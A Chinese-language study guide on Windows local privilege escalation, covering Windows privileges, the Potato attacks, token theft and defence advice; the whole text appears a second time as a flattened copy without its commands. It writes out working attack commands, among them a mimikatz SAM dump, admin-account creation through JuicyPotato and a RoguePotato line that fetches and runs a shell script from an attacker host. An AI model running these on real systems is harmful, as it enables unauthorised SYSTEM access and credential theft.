Windows系列本地提权面试相关问题汇总
字数 2762 2025-08-12 12:08:18

Windows本地提权技术全面解析

一、Windows提权基础原理

1. Windows九大权限详解

权限 描述
SeImpersonatePrivilege 身份验证后模拟客户端
SeAssignPrimaryTokenPrivilege 替换一个进程级令牌
SeTcbPrivilege 以操作系统方式执行
SeBackupPrivilege 备份文件和目录
SeRestorePrivilege 还原文件和目录
SeCreateTokenPrivilege 创建令牌对象
SeLoadDriverPrivilege 加载和卸载设备驱动程序
SeTakeOwnershipPrivilege 取得文件或其他对象的所有权
SeDebugPrivilege 调试程序

2. 常见服务账户权限

  • IIS或SQL Server用户通常具有:

    • SeImpersonatePrivilege
    • SeAssignPrimaryPrivilege
  • Backup service用户通常具有:

    • SeBackupPrivilege
    • SeRestorePrivilege

二、"烂土豆"(Rotten Potato)提权技术

1. 基本概念

"烂土豆"是通过欺骗"NT AUTHORITY\SYSTEM"账户通过NTLM认证到控制的TCP终端,然后使用中间人攻击(NTLM重放)为SYSTEM账户本地协商一个安全令牌。

2. 前提条件

  • 已获得具有SeImpersonate权限或其他同等权限的账户
  • 本地提权,不支持域用户

3. 优点

  • 不会存在无法利用的情况
  • Windows系统全版本通杀
  • 提权速度快

4. 相关技术组件

BITS(后台智能传送服务)

  • 异步传输文件
  • 调整传输速度保证网络响应
  • 断点续传功能
  • 实现了IMarshal接口并允许代理声明强制NTLM身份验证

CLSID密钥

  • 标识COM类对象的全局唯一标识符
  • 每个支持的对象类需要注册一个CLSID

三、Windows权限利用详解

1. SeImpersonatePrivilege

适用账户

  • 管理员或本地服务账户
  • 服务控制管理器启动的服务
  • 配置为特定账户运行的COM服务器
  • IIS与SqlServer用户

利用思路

  1. 利用NTLM Relay to Local Negotiation获得System用户的Token
  2. 使用Rotten Potato、lonelypotato或Juicy Potato工具
  3. 通过WinAPI CreateProcessWithToken创建新进程,传入System用户的Token

2. SeAssignPrimaryTokenPrivilege

利用原理

  1. 获取System用户的Token
  2. 通过CreateProcess创建挂起的新进程
  3. 使用NtSetInformationProcess替换进程Token

与SeImpersonatePrivilege的区别

  • 使用CreateProcessAsUser而非CreateProcessWithToken

3. SeTcbPrivilege

攻击方法

  1. 调用LsaLogonUser创建交互式登录会话获得Token
  2. 将Token添加至Local System account组
  3. 利用该Token赋予的System权限

4. SeBackupPrivilege

利用方法

  • 读取注册表SAM、SECURITY和SYSTEM文件
  • 使用mimikatz破解密码

命令示例

mimikatz # lsadump::sam /sam:SAM文件 /system:SYSTEM文件

5. SeRestorePrivilege

利用方法

  • 映像劫持(Windows 10中不可用)
  • 对系统任意文件具有写入权限

6. SeCreateTokenPrivilege

攻击方法

  1. 通过ZwCreateToken创建Primary Token
  2. 将Token添加至local administrator组
  3. 该Token具有System权限

7. SeLoadDriverPrivilege

攻击方法

  1. 加载存在漏洞的驱动文件(如Capcom.sys)
  2. 利用驱动漏洞从普通用户提升至System权限

8. SeTakeOwnershipPrivilege

利用思路

方案一

  1. 修改注册表Image File Execution Options
  2. 劫持exe文件启动

方案二

  1. 向任意路径写入dll文件
  2. 实现dll劫持

9. SeDebugPrivilege

攻击方法

  1. 找到system权限的进程
  2. 进行dll注入
  3. 获得权限

四、常见提权工具及使用方法

1. Rotten Potato (烂土豆)

MSF利用步骤

  1. 上传烂土豆到靶机
  2. 检查权限:
    meterpreter > getprivs
    或
    whoami /all
    whoami /priv
    
  3. 执行烂土豆:
    execute -cH -f c:\wmpub\potato.exe
    
  4. 模拟令牌:
    list_tokens -u
    impersonate_token "NT AUTHORITY\SYSTEM"
    

2. Juicy Potato (多汁土豆)

适用版本

  • Windows < 10(部分版本)
  • Windows Server < 2019

使用方法

方案一

  1. 检查权限:
    whoami /all
    whoami /priv
    
  2. 查看RPC端口:
    netstat -abno
    
  3. 执行提权:
    JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {CLSID}
    

参数说明

  • -t t:使用SeImpersonate权限
  • -t u:使用SeAssignPrimaryToken权限
  • -t *:两者都使用
  • -n:指定修改后的RPC端口

方案二

juicyPotato_32.exe -p whoami
execute -f juicypotato.exe -p net user test 123456
execute -f juicypotato.exe -p net localgroup administrators test /add

3. Rogue Potato

适用版本

  • Windows >= 10(部分版本)
  • Windows Server >= 2019

使用方法

  1. 下载工具:
    powershell.exe (new-object net.webclient).downloadfile('http://主机IP:端口/RoguePotato.exe', 'C:\tmp\RoguePotato.exe')
    powershell.exe (new-object net.webclient).downloadfile('http://主机IP:端口/RogueOxidResolver.exe', 'C:\tmp\RogueOxidResolver.exe')
    
  2. 执行提权:
    .\RoguePotato.exe -r 主机IP -c "{B91D5831-B1BD-4608-8198-D72E155020F7}" -e "powershell -c iex( iwr http://主机IP:端口/shell.ps1 -UseBasicParsing )" -l 9999
    
  3. Base64方式:
    .\RoguePotato.exe -r 主机IP -e "cmd.exe /c powershell -EncodedCommand Base64加密" -l 9999
    

4. Hot Potato

适用版本

  • Windows 7/8/10
  • Server 2008/2012

利用原理

  1. 本地NBNS Spoofer:冒充名称解析
  2. 伪造WPAD代理服务器:强制NTLM认证
  3. HTTP -> SMB NTLM中继:创建提升的进程

五、Token窃取技术

1. Token类型

  • Delegation Token(授权令牌):用于交互会话登录
  • Impersonation Token(模拟令牌):用于非交互登录

2. 提权与降权

提权命令

incognito.exe list_tokens -u
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe

降权命令

incognito.exe list_tokens -u
incognito.exe execute -c "DESKTOP-RMP8TTT\test" cmd.exe

六、防御建议

  1. 最小权限原则:服务账户仅授予必要权限
  2. 及时更新系统补丁
  3. 监控可疑的进程创建行为
  4. 限制RPC端口的访问
  5. 定期检查系统上的特权账户和Token使用情况
  6. 禁用不必要的服务(如BITS服务)

七、总结

Windows本地提权技术主要利用系统服务和权限设计的缺陷,通过令牌模拟、NTLM中继等方式实现权限提升。了解这些技术原理不仅有助于渗透测试,更能帮助系统管理员加强系统安全防护。

Windows本地提权技术全面解析 一、Windows提权基础原理 1. Windows九大权限详解 | 权限 | 描述 | |------|------| | SeImpersonatePrivilege | 身份验证后模拟客户端 | | SeAssignPrimaryTokenPrivilege | 替换一个进程级令牌 | | SeTcbPrivilege | 以操作系统方式执行 | | SeBackupPrivilege | 备份文件和目录 | | SeRestorePrivilege | 还原文件和目录 | | SeCreateTokenPrivilege | 创建令牌对象 | | SeLoadDriverPrivilege | 加载和卸载设备驱动程序 | | SeTakeOwnershipPrivilege | 取得文件或其他对象的所有权 | | SeDebugPrivilege | 调试程序 | 2. 常见服务账户权限 IIS或SQL Server用户通常具有: SeImpersonatePrivilege SeAssignPrimaryPrivilege Backup service用户通常具有: SeBackupPrivilege SeRestorePrivilege 二、"烂土豆"(Rotten Potato)提权技术 1. 基本概念 "烂土豆"是通过欺骗"NT AUTHORITY\SYSTEM"账户通过NTLM认证到控制的TCP终端,然后使用中间人攻击(NTLM重放)为SYSTEM账户本地协商一个安全令牌。 2. 前提条件 已获得具有SeImpersonate权限或其他同等权限的账户 本地提权,不支持域用户 3. 优点 不会存在无法利用的情况 Windows系统全版本通杀 提权速度快 4. 相关技术组件 BITS(后台智能传送服务) : 异步传输文件 调整传输速度保证网络响应 断点续传功能 实现了IMarshal接口并允许代理声明强制NTLM身份验证 CLSID密钥 : 标识COM类对象的全局唯一标识符 每个支持的对象类需要注册一个CLSID 三、Windows权限利用详解 1. SeImpersonatePrivilege 适用账户 : 管理员或本地服务账户 服务控制管理器启动的服务 配置为特定账户运行的COM服务器 IIS与SqlServer用户 利用思路 : 利用NTLM Relay to Local Negotiation获得System用户的Token 使用Rotten Potato、lonelypotato或Juicy Potato工具 通过WinAPI CreateProcessWithToken创建新进程,传入System用户的Token 2. SeAssignPrimaryTokenPrivilege 利用原理 : 获取System用户的Token 通过CreateProcess创建挂起的新进程 使用NtSetInformationProcess替换进程Token 与SeImpersonatePrivilege的区别 : 使用CreateProcessAsUser而非CreateProcessWithToken 3. SeTcbPrivilege 攻击方法 : 调用LsaLogonUser创建交互式登录会话获得Token 将Token添加至Local System account组 利用该Token赋予的System权限 4. SeBackupPrivilege 利用方法 : 读取注册表SAM、SECURITY和SYSTEM文件 使用mimikatz破解密码 命令示例 : 5. SeRestorePrivilege 利用方法 : 映像劫持(Windows 10中不可用) 对系统任意文件具有写入权限 6. SeCreateTokenPrivilege 攻击方法 : 通过ZwCreateToken创建Primary Token 将Token添加至local administrator组 该Token具有System权限 7. SeLoadDriverPrivilege 攻击方法 : 加载存在漏洞的驱动文件(如Capcom.sys) 利用驱动漏洞从普通用户提升至System权限 8. SeTakeOwnershipPrivilege 利用思路 : 方案一 : 修改注册表Image File Execution Options 劫持exe文件启动 方案二 : 向任意路径写入dll文件 实现dll劫持 9. SeDebugPrivilege 攻击方法 : 找到system权限的进程 进行dll注入 获得权限 四、常见提权工具及使用方法 1. Rotten Potato (烂土豆) MSF利用步骤 : 上传烂土豆到靶机 检查权限: 执行烂土豆: 模拟令牌: 2. Juicy Potato (多汁土豆) 适用版本 : Windows < 10(部分版本) Windows Server < 2019 使用方法 : 方案一 : 检查权限: 查看RPC端口: 执行提权: 参数说明 : -t t:使用SeImpersonate权限 -t u:使用SeAssignPrimaryToken权限 -t * :两者都使用 -n:指定修改后的RPC端口 方案二 : 3. Rogue Potato 适用版本 : Windows >= 10(部分版本) Windows Server >= 2019 使用方法 : 下载工具: 执行提权: Base64方式: 4. Hot Potato 适用版本 : Windows 7/8/10 Server 2008/2012 利用原理 : 本地NBNS Spoofer:冒充名称解析 伪造WPAD代理服务器:强制NTLM认证 HTTP -> SMB NTLM中继:创建提升的进程 五、Token窃取技术 1. Token类型 Delegation Token(授权令牌) :用于交互会话登录 Impersonation Token(模拟令牌) :用于非交互登录 2. 提权与降权 提权命令 : 降权命令 : 六、防御建议 最小权限原则:服务账户仅授予必要权限 及时更新系统补丁 监控可疑的进程创建行为 限制RPC端口的访问 定期检查系统上的特权账户和Token使用情况 禁用不必要的服务(如BITS服务) 七、总结 Windows本地提权技术主要利用系统服务和权限设计的缺陷,通过令牌模拟、NTLM中继等方式实现权限提升。了解这些技术原理不仅有助于渗透测试,更能帮助系统管理员加强系统安全防护。